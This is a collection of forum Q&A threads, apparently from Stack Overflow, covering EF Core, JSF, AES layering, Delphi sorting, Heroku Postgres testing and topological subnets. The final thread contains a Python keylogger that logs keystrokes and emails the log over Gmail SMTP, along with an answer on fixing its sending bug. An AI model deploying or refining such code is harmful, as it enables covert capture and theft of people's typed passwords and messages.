Or, in this particular case, since owned entity collection is already loaded/tracked along with owner, use LINQ to Objects for querying the materialized collection in memory, which is achieved by replacing Query() with CurrentValue:
var goodPosts = context.Entry(blog)
    .Collection(b => b.Posts)
    .CurrentValue
    .Where(p => p.Title == "...")
    .ToList();

or directly using the navigation property:
var goodPosts = blog.Posts
    .Where(p => p.Title == "...")
    .ToList();

A: Great answer by @Ivan-Stoev.
Regarding on AsNoTracking():
If you want to update parent entity and/or it's child entity use this
var blog = context.Blogs.FirstOrDefault(b => b.BlogId == 1);
//Manipulating the blog here.
context.SaveChange();

But if you need to read only the data and no updates for the blog then use this
var blog = context.Blogs.AsNoTracking().FirstOrDefault(b => b.BlogId == 1);
//What ever code you have here.

A good additional article that you can check on is this Breaking changes included in EF Core 3.0.
Happy coding, cheers!


text:
Q: "" and "rendered" is not working at all I need to read a certain attribute from the parent component... but its not working at all,
I tried 2 things to define the attribute using:
<ui:param>  and   <c:set>
and to read them I tried also 2 things:
<ui:fragment> and <c:if test>
but no luck
Here is the code:
 <ui:param name="panelName" value="#{component.parent.attributes.panelName}" />

 <c:set var="panelName2" value="{component.parent.attributes.panelName}" scope="view" />

<c:if test="#{panelName == 'abc'}">
anything
</c:if>

<ui:fragment rendered="#{panelName2 == 'abc'}">
Hellooo
</ui:fragment>

I am using JSF 2.2
Could anyone explain why this is happening please
Thanks in advance


text:
Q: PHP - encryptar/ decryptar dados Eu estou usando encriptação AES-128 para mensagens de utilizadores, mas eu pretendia encryptar com mais Layers.
Exemplo :
        Layer 1: encryptacao aes-128
        Layer 2: "outra encryptacao".

Acham que é boa ideia proteger desta forma? Se sim, que encryptacao posso usar para encryptar e desincriptar

A: Não há porque fazer isso, ninguém faz isso já que o AES é seguro.
Se você não quer usar AES-128 use o AES-256 ou AES-192. Se você não confia no AES, principalmente se você não tem um processador com suporte para AES-NI, use outra cifra, como o Serpent-256, Salsa20 ou ChaCha20.
O único ganho de segurança que teria é se o algoritmo, isoladamente, é vulnerável a buscas exaustivas, como é o caso do DES. Neste caso existe o 3DES que faz exatamente 2 encriptações e 1 decriptação, mas ainda existe o problema de meet-in-the-middle.
O 3DES foi criado porque o DES é vulnerável a busca exaustiva. Usar o mesmo processo para o AES é inútil, o AES não tem o mesmo problema. Inclusive, o AES é segura até contra computadores quânticos, se prefere cifras de fluxo o Salsa20 também é, segundo a PQCrypto.

Acredito que existe outros problemas que pode estar preocupado, como a integridade da informação ou o armazenamento das chaves, por exemplo.


text:
Q: Sorting of Arrays Alphabetically? Say I have two arrays of string, named 'arrayone' and 'arraytwo'
How would I go about sorting the 'arrayone' alphabetically (from A to Z), while still keeping relations to my second array.
Incase you were wondering what is in 'arrayone' and 'arraytwo', 1 has surnames and 2 has the ages of each person. My end result is to add it to a richedit.
Example of scenario:
Smith           25
Appleseed       32
Gibbs           45

Must turn into:
Appleseed       32
Gibbs           45
Smith           25

Please no stringlist, keep it in simple array and in a procedure.
UPDATE: I switched to record.
Tried this code with no avail
for i := 0 to 26 do
for j := 0 to 26 do
  if recordname.surname[j] > recordname.surname[j+1] then begin
    line := recordname.surname[j];
    line[j] := recordname.surname[j+1];
    recordname.surname[j+1] := line;
  end;

It says Incompatible Types: 'Char' and 'String'

A: Our TDynArray wrapper just handle this feature explicitly.
You can sort any existing dynamic array directly in-place, or using an integer array of indices, with a custom sort function.
function PersonCompare(const Person1, Person2: TPerson): Integer;
begin // sample function pasted from David's answer
  Result := CompareText(Person1.Name, Person2.Name);
  if Result=0 then
    Result := Person2.Age-Person1.Age;
end;

type
  TPersonDynArray = array of TPerson;

function SortPersons(var Persons: TPersonDynArray);
var
  Person: TDynArray;
begin
  Person.Init(TypeInfo(TPersonDynArray),Persons);
  Person.Compare := PersonCompare;
  Person.Sort;
end;

By the way, the Sort method of the wrapper will use an optimized Quick Sort, which is much faster than Bubble Sort algorithm.
There are much more features in this wrapper, e.g. TList-like methods like Add() or Delete(), use of an external Count variable (much faster adding), serialization or fast find using hashing.
It works from Delphi 5 up to XE2, and is Open Source.

A: Without creating a new structure that contains both sets of data points, you can sort an array of indices with a comparison function that checks based on arrayone.
more concretely, create an array indices with indices[i] = i initially.
Then, sort indices using the comparison function
i < j iff arrayone[indices[i]] < arrayone[indices[j]]

Then, reading arrayone[indices[0]], arrayone[indices[1]] ... gives you the sorted list, and the corresponding values are arraytwo[indices[0]], arraytwo[indices[1]], ...

A: Having given you advice about your data structure, and seen the ensuing struggles, I want to put things straight and explain more clearly what I mean.
You original code had two arrays that were essentially unconnected. You could swap items in one array and easily forget to do so for the other array. It looks to me like the name/age pairs really should not be split apart. This leads to the following type declaration.
type
  TPerson = record
    Name: string;
    Age: Integer;
  end;

Now you need to hold an array of TPerson.
type
  TPersonArray = array of TPerson;

In order to perform a sort you need to be able to compare two items, and swap them.
function Compare(const Person1, Person2: TPerson): Integer;
begin
  Result := CompareText(Person1.Name, Person2.Name);
end;

procedure Swap(var Person1, Person2: TPerson);
var
  temp: TPerson;
begin
  temp := Person1;
  Person1 := Person2;
  Person2 := temp;
end;

Now we can put this all together with a bubble sort.
procedure Sort(var People: TPersonArray);
var
  i, n: Integer;
  Swapped: Boolean;
begin
  n := Length(People);
  repeat
    Swapped := False;
    for i := 1 to n-1 do begin
      if Compare(People[i-1], People[i])>0 then begin
        Swap(People[i-1], People[i]);
        Swapped := True;
      end;
    end;
    dec(n);
  until not Swapped;
end;

Now, if you wanted to use a more complex comparison operator then you could simply replace Compare. For example, if you wanted to order by age any people that have the same name, then you use a lexicographic comparison function.
function Compare(const Person1, Person2: TPerson): Integer;
begin
  Result := CompareText(Person1.Name, Person2.Name);
  if Result=0 then begin
    Result := Person2.Age-Person1.Age;
  end;
end;

I have written this answer piece by piece and that is how you should approach a larger problem like this. Try to break it down in to smaller pieces, each of which is manageable.

A: Sort the first array as normal, using the sorting algorithm of your choice. Any introductory algorithm textbook will have several. Each time you swap two entries of the first array, make the same change to the corresponding entries of the second array.


text:
Q: Testing Postgre Database on Heroku I am currently building an API with Swagger on Heroku and i would like to try if the endpoints are creating the correct entries in the Postgre Database. However, once i try to connect to Heroku's Postgre in my testing envoirment the connection is rejected. I think this is because in the continous integration envoirnment heroku creates a sandbox and does not accept connections to the real dbs.
I tried to create a backup database as suggested here: https://devcenter.heroku.com/articles/heroku-postgres-backups
but i couldn't find the information to access!
Any help is appreciated!
Thank you.
Here is my code test:
'use strict';

var should = require('should');
var request = require('supertest');
var assert = require('assert');
var server = require('../../../app');

var pg = require('pg');
var knex = require('knex')({
  client: 'postgresql',
  connection: process.env.DATABASE_URL

});

describe('controllers', function () {
  describe('testing cenas', function () {
     it('test1', function (done) {

      request(server)
        .get('/hello')
        .set('Accept', 'application/json')
        .expect('Content-Type', /json/)
        .expect(200)
        .end(function (err, res) {

          assert.equal(res.body, 'Hello,Hugo Pereira!');
          done();
        });
    });

  });
});

it gives an error:
Unhandled rejection Error: Unable to acquire a connection
    at Client_PG.acquireConnection (/app/node_modules/knex/lib/client.js:332:40)
    at Runner.ensureConnection (/app/node_modules/knex/lib/runner.js:233:24)
    at Runner.run (/app/node_modules/knex/lib/runner.js:47:42)
    at Builder.Target.then (/app/node_modules/knex/lib/interface.js:39:43)
    at testPg (/app/api/controllers/hello_world.js:27:44)
    at swaggerRouter (/app/node_modules/swagger-tools/middleware/swagger-router.js:407:20)
    at swagger_router (/app/node_modules/swagger-node-runner/fittings/swagger_router.js:31:5)
    at Runner.<anonymous> (/app/node_modules/bagpipes/lib/bagpipes.js:171:7)
    at bound (domain.js:301:14)
    at Runner.runBound (domain.js:314:12)
    at Runner.pipeline (/app/node_modules/pipeworks/pipeworks.js:72:17)
    at Runner.flow (/app/node_modules/pipeworks/pipeworks.js:223:19)
    at Pipeworks.flow (/app/node_modules/pipeworks/pipeworks.js:135:17)
    at Pipeworks.siphon (/app/node_modules/pipeworks/pipeworks.js:186:19)
    at Runner.<anonymous> (/app/node_modules/bagpipes/lib/bagpipes.js:98:22)
    at bound (domain.js:301:14)
  0 passing (2s)

A: The heroku pg:psql command should connect to your database. You can also pass it parameters to connect to alternative/backup databases.

A: If you are using a heroku postgres url then one thing you need for external access is the query string ?ssl=true appended to the url
e.g.
"DATABASE_URL" : "postgres://user:pass@ec2-54-235-206-118.compute-1.amazonaws.com:5432/dbid?ssl=true"

A: I manage to solve this problem using the heroku in-dyno database (https://devcenter.heroku.com/articles/heroku-ci-in-dyno-databases). Once i got the database I go to a endpoint in my dev env that i made myself that gives me a dump file of the schemas of my real db. In the test env i import this file and voila i have all the schemas and tables i need for my test envoirment.


text:
Q: Different definitions of subnet I encountered two different definitions of subnet. The first is

Let $(I, \preceq_I ), (J,\preceq_J )$ be two directed sets and $X$ be the underlying set.$\{ \eta_j \}_{j \in J}$ is a subnet of $\{ \xi_i \}_{i \in I}$, if there exists a function $\phi: J \to I$ such that (1) $\eta_j = \xi_{\phi(j)}$ for all $j \in J$. (2) For all $i \in I$ there exists $j $ such that $\{ \phi(j') \in I \mid j´\succeq_J j\} \subseteq \{ i' \in I \mid i´\succeq_I i\}$

which is quite different from the one on page 188 Munkres' topology textbook, which states as

Let $(I, \preceq_I ), (J,\preceq_J )$ be two directed sets and $X$ be the underlying set.$\{ \eta_j \}_{j \in J}$ is a subnet of $\{ \xi_i \}_{i \in I}$,  if there exists a function $\phi: J \to I$ such that (i) For all $m,n \in J$, $m \preceq_J n \implies \phi(m) \preceq_I \phi(n) $. (2) $\phi[J]$ is a cofinal in $I$.

It seems to me neither of them implies the other. What's the purpose of defining subnet in two distinct ways. Are they tailor-made for different problems?

A: The notes in this PDF have a decent discussion. In its terminology your first definition is of a Kelley subnet and your second of a Willard subnet. There is a third definition, of what in these notes is called an AA-subnet, that is actually better in many ways than either of these:

Let $\langle I,\preceq_I\rangle$ and $\langle J,\preceq_J\rangle$ be directed sets, and let $X$ be the underlying set. The net $\eta=\langle\eta_j:j\in J\rangle$ in $X$ is a subnet of the net $\xi=\langle\xi_i:i\in I\rangle$ if for each $A\subseteq X$, if $\xi$ is eventually in $A$, then $\eta$ is eventually in $A$. (As usual, $\eta$ is eventually in $A$ iff there is a $j_0\in J$ such that $\eta_j\in A$ whenever $j_0\preceq_J j$.)

It's easy to see that if $\eta$ is a Willard subnet of $\xi$, then it's a Kelley subnet, and that if it's a Kelley subnet, then it's an AA-subnet. Neither of these implications reverses. For example, for $n\in\Bbb N$ let $x_n=2^{-n}$ and
$$y_n=\begin{cases}
2^{-(n+1)},&\text{if }n\text{ is even}\\
2^{-(n-1)},&\text{if }n\text{ is odd}\;;
\end{cases}$$
then $\langle y_n:n\in\Bbb N\rangle$ is a Kelley subnet of $\langle x_n:n\in\Bbb N\rangle$ but not a Willard subnet.
It's a bit harder to find an example of an AA-subnet that is not a Kelley subnet. Let $\mathscr{F}$ be the set of all functions from $\Bbb N$ to $\Bbb N$, and let $\mathscr{D}=\mathscr{F}\times\Bbb N$. For $f,g\in\mathscr{F}$ let $f\le g$ iff $f(k)\le g(k)$ for all $k\in\Bbb N$. For $\langle f,m\rangle,\langle g,n\rangle\in\mathscr{D}$ let $\langle f,m\rangle\preceq\langle g,n\rangle$ iff $f\le g$ and $m\le n$. Let $X$ be any set and $\sigma:\Bbb N\to X$ any sequence, and define
$$\nu:\mathscr{D}\to X:\langle f,m\rangle\mapsto\sigma(m)\;.$$
Suppose that $\nu$ is eventually in some $A\subseteq X$, and let $\langle f,m\rangle\in\mathscr{D}$ be such that $\nu(\langle g,n\rangle)\in A$ whenever $\langle f,m\rangle\preceq\langle g,n\rangle$. Then $\sigma(n)=\nu(\langle f,n\rangle)\in A$ whenever $n\ge m$, so $\sigma$ is an AA-subnet of $\nu$. However, there is no $\varphi:\Bbb N\to\mathscr{D}$ such that for each $\langle f,m\rangle\in\mathscr{D}$ there is an $n\in\Bbb N$ such that $\langle f,m\rangle\preceq\varphi(k)$ whenever $n\le k$, so $\sigma$ is not a Kelley subnet of $\nu$. To see this, let $\langle f_k,m_k\rangle=\varphi(k)$ for each $k\in\Bbb N$. Define $f\in\mathscr{F}$ by $f(k)=f_k(k)+1$ for each $k\in\Bbb N$; then for each $k\in\Bbb N$ we have $\langle f,0\rangle\not\preceq\langle f_k,m_k\rangle=\varphi(k)$, since $f\not\le f_k$.
AA-subnets were introduced by J.F. Aarnes and P.R. Andenæs in 'On Nets and Filters', which has the example that I just gave and a good discussion of why their definition is preferable to the earlier definitions.
The notes to which I linked at the top point out that in one sense it doesn't really matter which definition we use: if $\eta$ is an AA-subnet of $\xi$, there is a Willard subnet $\nu$ of $\xi$ such that $\eta$ and $\nu$ are AA-subnets of each other and therefore have identical convergence properties.
The best discussion that I've seen is in Section $7$ of a set of notes by Saitulaa Naranong, 'Translating Between Nets and Filters'; it's still available via the WayBack Machine. Note, though, that $\Psi$ and $\Phi$ have been inadvertently interchanged in the displayed line in Definition $\mathbf{10.2}$ at the top of page $11$. The one-sentence paragraph two lines down ('In other words ...') is correct.
Both of the definitions that you give are modelled on the usual definition of a subsequence, and I suspect that the monotonicity requirement in the definition of Willard subnet is simply to make it look even more like the definition of subsequence. The achievement of Aarnes and Andenæs was to realize that by moving away from that model they could define subnet in a way that made a number of things work out more nicely while keeping the key property: that if a net converges to something, then so should every subnet.


text:
Q: Email sending before file is saved I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.
from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'username@gmail.com'
email_send = 'reciever@gmail.com'
password = 'password'

subject = 'file'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'hi'

filename='filename.txt'
attachment =open(filename, 'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)

now = datetime.now()

dt_string = now.strftime("%d/%m/%Y %H:%M:%S")

def show(key):
    file = open('filename.txt', 'a+')
    file.write(dt_string + " ")

    if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
        file.write(format(key)+'\n')

        if key == Key.delete:
            server.sendmail(email_user, email_send,text)
            return False

with Listener(on_press = show) as listener:
    listener.join()

A: Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above  server.sendmail(email_user, email_send,text) as text = readFile()
def readFile():
   ** read your file **
   ** and return text **